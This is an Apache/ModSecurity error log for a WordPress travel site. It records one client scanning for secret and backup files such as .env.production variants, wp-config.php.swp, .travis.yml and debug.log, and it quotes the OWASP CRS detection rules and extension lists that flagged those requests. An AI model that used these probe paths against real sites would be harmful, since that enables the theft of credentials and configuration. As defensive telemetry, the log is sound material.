[Fri Jul 17 08:55:17.282016 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/v1/;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env"] [unique_id "almgnQ5GPQ6hs4VrfMpBYgAAAAY"]
[Fri Jul 17 08:55:17.282334 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/rest/v1/;/.env"] [unique_id "almgnQ5GPQ6hs4VrfMpBYgAAAAY"]
[Fri Jul 17 08:55:17.282480 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.282655 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBYgAAAAY"]
[Fri Jul 17 08:55:17.283256 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.285165 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".travis.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.travis.yml"] [unique_id "almgnYl9vhFBGA6D8l957gAAAAw"]
[Fri Jul 17 08:55:17.285581 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.travis.yml"] [unique_id "almgnYl9vhFBGA6D8l957gAAAAw"]
[Fri Jul 17 08:55:17.285746 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.285940 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYl9vhFBGA6D8l957gAAAAw"]
[Fri Jul 17 08:55:17.287029 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.swp
[Fri Jul 17 08:55:17.287209 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.289297 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.289608 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.291115 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.291187 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.292860 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.bkp"] [unique_id "almgnYbYoYGvYnmnM82CEgAAAAs"]
[Fri Jul 17 08:55:17.293197 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.bkp"] [unique_id "almgnYbYoYGvYnmnM82CEgAAAAs"]
[Fri Jul 17 08:55:17.293345 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.293501 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYbYoYGvYnmnM82CEgAAAAs"]
[Fri Jul 17 08:55:17.298717 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnXRlmrtCoY_COpcl0QAAAAg"]
[Fri Jul 17 08:55:17.299157 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnXRlmrtCoY_COpcl0QAAAAg"]
[Fri Jul 17 08:55:17.299556 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnXRlmrtCoY_COpcl0QAAAAg"]
[Fri Jul 17 08:55:17.299794 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.299979 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl0QAAAAg"]
[Fri Jul 17 08:55:17.314138 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.320019 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.320177 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/debug.log"] [unique_id "almgnYZvbo7N5o5zeYC-VAAAABw"]
[Fri Jul 17 08:55:17.320908 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/debug.log"] [unique_id "almgnYZvbo7N5o5zeYC-VAAAABw"]
[Fri Jul 17 08:55:17.321071 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.321256 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYZvbo7N5o5zeYC-VAAAABw"]
[Fri Jul 17 08:55:17.322517 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.327057 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-admin/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.331541 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".production~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production~"] [unique_id "almgnYl9vhFBGA6D8l957wAAAAw"]
[Fri Jul 17 08:55:17.331925 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production~"] [unique_id "almgnYl9vhFBGA6D8l957wAAAAw"]
[Fri Jul 17 08:55:17.332338 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production~"] [unique_id "almgnYl9vhFBGA6D8l957wAAAAw"]
[Fri Jul 17 08:55:17.332524 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.332729 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYl9vhFBGA6D8l957wAAAAw"]
[Fri Jul 17 08:55:17.337205 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.orig"] [unique_id "almgnYbYoYGvYnmnM82CEwAAAAs"]
[Fri Jul 17 08:55:17.337699 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.orig"] [unique_id "almgnYbYoYGvYnmnM82CEwAAAAs"]
[Fri Jul 17 08:55:17.337939 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.338180 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYbYoYGvYnmnM82CEwAAAAs"]
[Fri Jul 17 08:55:17.340684 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.341756 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.343277 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "almgnUkXT4NBqALj2lZ8pAAAABA"]
[Fri Jul 17 08:55:17.344007 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "almgnUkXT4NBqALj2lZ8pAAAABA"]
